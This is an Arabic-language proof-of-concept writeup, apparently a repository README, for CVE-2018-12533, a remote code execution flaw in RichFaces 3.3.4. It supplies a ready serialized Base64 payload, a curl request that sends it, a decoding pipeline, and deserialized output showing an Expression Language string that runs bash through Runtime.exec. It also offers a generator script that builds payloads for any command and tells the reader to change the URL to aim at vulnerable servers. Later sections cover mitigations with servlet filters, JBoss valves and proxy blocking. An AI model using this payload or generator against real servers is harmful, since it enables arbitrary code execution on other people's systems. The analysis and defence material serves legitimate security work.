
يُظهر تنفيذ التعليمات البرمجية عن بُعد CVE-2018-12533 في RichFaces 3.3.4. يشمل توليد حمولة (payload)، تحليل إلغاء تسلسل Java، واستراتيجيات التخفيف عبر filters أو valves.
تفاصيل CVE-2018-12533. إصدارات أخرى من RichFaces معرضة للخطر، كما يمكن رؤيته هنا.
export PAYLOAD_BASE64_RICHFACES='eJx1k8-LFEcUx98MuKtZD0YhIQTJOkpmBrarZ2ZdWdksmv2BGZg14oigEoY3NW-7a62u6q16M9PrYm5evHr1llMgAcG!wJsEctk!IR4kh4CE5Bzp7tUlktSlisenvu9Lfev99Acc8w4uWRcJp2S8jZK8cGRG5O4rFjEnWtxAZbizcZO8HTtJF7oJRrSBjKsvD3479c-Pz6ow24Xjg2G0brV1XZgdbFuXIOenmFQUcxdmBlM14vgunJAoY8Khph4cG4yQkeF0bwcnGGo0UfjtcIckr!RgZpDmjXfhe6hkKZSrAgBfAICF1Dv4Mr-WidK1tElqDRkWfUamb6wekevjhNydX56vPnn661YVqj04ITV6fx0T-nffPjtlopUefORxQqNCg-GTklA27JNTqNWD3PlKlubt69Imwo9NYUATe0Fa9ChCubdFHNvRmjIjZaJ33qtQ6UElYfi8UM1C0mEJbmapI--VNSvZ!yrfwuhD-p3ySYDMwWflc5AWH3J4-q8La692uVpwZ95zR8QPjx73!7x78FVO5A7O5V9iZ2i9!y-9bpLq4ZtP!5578fFW3jsPae4BQGWuMnt-v8hj3RqmjEVEvJkxOYP6sNRo5sX1PIZGU2xbl4fRqJWmvHQqZdEvtk0TKUNbaDAiV2sKQ9Ou8YxGUilSAmt7hwq-1hQ0QV2KiTxXcXNsWCWU04fHRlNQRrJxrz5EH9cX6oGsL9TZjmU8H3KShu8nIZiMtSGHQ6UV7wVyQkGn1V4O2p2lxcXAbQfti4vtVtBpdZZa7VYnaLdbF5eW6981a82HAGMHZ-71jpwc!rCfD26!!v3s!rXipQGgymUgAqcsrjlMYyV9Z4Ph1NHVcijSNJt-DVfCiaKpD6U1fqwZb-DIoRVZPqvzVy8vLyy154vJWa2d35eYsoxxjdCIoviwlr0F6sFSwQ__'
curl "http://localhost:8080/myapp/a4j/s/3_3_3.Finalorg.richfaces.renderkit.html.Paint2DResource/DATA/${PAYLOAD_BASE64_RICHFACES}.seam"
بعد DATA/ وقبل .seam، توجد حمولة الهجوم. هذه مجرد فئة Java تم تسلسلها وضغطها وتشفيرها بـ Base64. إنها Base64 بتنسيق معدّل قليلاً بواسطة RichFaces لتكون متوافقة مع عنوان URL.
تحتوي هذه الفئة على سطر أوامر بتنسيق Expression Language يتم تنفيذه بواسطة التطبيق، وبشكل أكثر دقة بواسطة RichFaces، وهنا تكمن المشكلة، حيث يمكن تنفيذ كود عشوائي على الخادم.
الأمر المشفر في الحمولة أعلاه هو
touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458(لأغراض التوضيح فقط) وسنثبت ذلك بعد قليل.
git clone [email protected]:mhagnumdw/richfaces-vulnerability-cve-2018-12533-rf-14310.git
cd richfaces-vulnerability-cve-2018-12533-rf-14310
echo "${PAYLOAD_BASE64_RICHFACES}" | \
sed 's/-/+/g' | \
sed 's#!#/#g' | \
sed 's/_/=/g' | \
base64 -d | \
zlib-flate -uncompress > UmaClasse.serialized-class.bin
يحول الحمولة من تنسيق Base64 الخاص بـ RichFaces إلى تنسيق Base64 القياسي. يفك ترميز Base64، والذي في هذه الحالة هو ثنائي مضغوط، ثم يفك ضغطه، مما سينتج الثنائي لفئة مُسلسلة Java.
هنا سنرى الأمر الضار الموجود داخل الحمولة.
الأمر أدناه سيعرض جميع سمات الفئة والأنواع المقابلة المحددة فيها. لا يعرض الأنواع في وقت التشغيل، إذا كنت لا تعرف ماذا يعني ذلك، لا بأس.
هنا نقوم بتنفيذ كود Java كما لو كان سكريبت بفضل JBang
chmod +x JavaObjectDeserializer.java
./JavaObjectDeserializer.java UmaClasse.serialized-class.bin
المخرج هو شيء يشبه هذا:
Objeto java convertido para JSON:
{
"_width (int)": 111,
"_height (int)": 31,
"_data (java.lang.Object)": null,
"_format (int)": 1,
"_paint (java.lang.Object)": {
"className (java.lang.String)": null,
"savedState (java.io.Serializable)": {
"m (javax.el.MethodExpression)": {
"attr (java.lang.String)": "/views/consultaPadrao.xhtml @98,51 paint=\"#{captchaBean.paint}\"",
"orig (javax.el.MethodExpression)": {
"expectedType (java.lang.Class)": null,
"expr (java.lang.String)": "#{facesContext.getExternalContext().getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec(['bash','-c','touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458'])\")}",
"fnMapper (javax.el.FunctionMapper)": null,
"varMapper (javax.el.VariableMapper)": null,
"paramTypes ([Ljava.lang.Class;)": [
"java.awt.Graphics2D",
"java.lang.Object"
]
}
}
}
},
"cacheable (boolean)": false,
"_bgColor (int)": 0
}
Arquivo .class gravado em: org.richfaces.renderkit.html.Paint2DResource$ImageData.class
⚠️ النقطة الرئيسية هي السمة _paint.savedState.m.orig.expr، حيث يوجد الكود الضار، والذي في هذا المثال هو مجرد كود غير ضار يقوم بإنشاء ملف على القرص: touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458
chmod +x Generator_Paint2DResourceImageData.java
./Generator_Paint2DResourceImageData.java
# أو
./Generator_Paint2DResourceImageData.java <أمر هنا>
./Generator_Paint2DResourceImageData.java touch /tmp/شخص-كان-هنا
سيعرض المخرج الأوامر التي عليك تنفيذها ضد خادم ضعيف. فقط قم بتعديل عنوان URL.
خيار أقل بساطة وأكثر أداءً هو تعديل كود RichFaces لإجراء بعض المعالجة. يوجد أدناه المكدس ذو الصلة.
خيار آخر أبسط من السابق هو إنشاء مرشح (javax.servlet.Filter)، والذي سيعمل فقط على المسار المعني، عن طريق إلغاء تسلسل Base64 الموجود في المسار والقيام بالتحقق المناسب لمعرفة ما إذا كان يمكن للطلب الاستمرار أو يجب رفضه. من المهم التأكيد على أن إلغاء التسلسل يجب أن يتم عبر الفئة LookAheadObjectInputStream، كما هو الحال في org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String)، لمحاولة تجنب مشاكل الأمان أثناء إلغاء التسلسل قدر الإمكان، مثل تنفيذ كود ضار.
أحد الخيارات هو حظر مسار نقطة النهاية في أي وكيل موجود أمام التطبيق.
خيار آخر، أعتقد أنه يستحق التنفيذ، لكنه لا يغني عن الخيار الأول، هو إنشاء مرشح (javax.servlet.Filter)، والذي سيعمل فقط على المسار المعني وسيمنع الوصول. يتكون الحظر فقط من الاستجابة للطلب دون ترك سلسلة المرشحات تستمر في التنفيذ. يمكنك وضع نص في الجسم واستخدام رمز حالة http 410 (Gone). تذكر أن هذا المرشح يجب تعريفه في web.xml للتطبيق. مثال على هذا المرشح: PathBlockerFilter.
إذا كنت تستخدم JBoss EAP، يمكن تنفيذ المرشح المذكور هنا كصمام (التغيير بسيط)، و:
- سيتم تنفيذه قبل المرشحات المعرفة في
web.xml- يجب تعريفه في ملف
jboss-web.xmlكأول<valve>، أو- يمكن تعريفه في standalone.xml (أو domain.xml) في النظام الفرعي
urn:jboss:domain:webعبر الوسم<valve- مثال على هذا الصمام: PathBlockerValve
ملخص: يتم تنفيذ الكود الضار بواسطة الأسلوب
org.richfaces.renderkit.html.Paint2DResource.send(ResourceContext)، في السطرpaint.invoke(facesContext, new Object[] {graphics,data._data});.
عند إجراء طلب http، يصل إلى الأسلوب org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String)، وفقًا للمكدس التالي:
Daemon Thread [http-0.0.0.0:8080-1] (Suspended)
owns: org.apache.coyote.Request (id=27053)
org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(java.lang.String) line: 366
org.ajax4jsf.resource.InternetResourceService.serviceResource(java.lang.String, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 156
org.ajax4jsf.resource.InternetResourceService.serviceResource(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 141
dataString = key.substring(dataStart); يتم استخراج Base64 بتنسيق RichFaces (تذكر أن هذا Base64 في النهاية هو كائن Java تم تسلسله وضغطه);objectArray = decrypt(dataArray) يتم فك ترميز وفك ضغط هذا Base64;data = in.readObject() يتم إلغاء تسلسل كائن Java مع الكود الضار، أي يتم الحصول على مثيل الكائن.ثم يصل الطلب إلى الأسلوب org.richfaces.renderkit.html.Paint2DResource.send(ResourceContext)، وفقًا للمكدس التالي:
Daemon Thread [http-0.0.0.0:8080-1] (Suspended (breakpoint at line 187 in org.richfaces.renderkit.html.Paint2DResource))
owns: org.apache.coyote.Request (id=27053)
org.richfaces.renderkit.html.Paint2DResource.send(org.ajax4jsf.resource.ResourceContext) line: 187
org.ajax4jsf.resource.ResourceLifecycle.sendResource(org.ajax4jsf.resource.ResourceContext, org.ajax4jsf.resource.InternetResource) line: 221
org.ajax4jsf.resource.ResourceLifecycle.send(org.ajax4jsf.resource.ResourceContext, org.ajax4jsf.resource.InternetResource) line: 148
org.ajax4jsf.resource.InternetResourceService.serviceResource(java.lang.String, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 226
org.ajax4jsf.resource.InternetResourceService.serviceResource(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 141
⚠️ ثم في السطر paint.invoke(facesContext, new Object[] {graphics,data._data}); يتم تنفيذ الكود الضار أخيرًا.
سأذكر حالة واحدة، المكون rich:paint2D: https://docs.jboss.org/richfaces/latest_3_3_X/en/devguide/html_single/#rich_paint2D
من الممكن رؤية الحمولة التي يستقبلها التطبيق عن طريق تفعيل سجل DEBUG للفئة org.ajax4jsf.resource.ResourceBuilderImpl.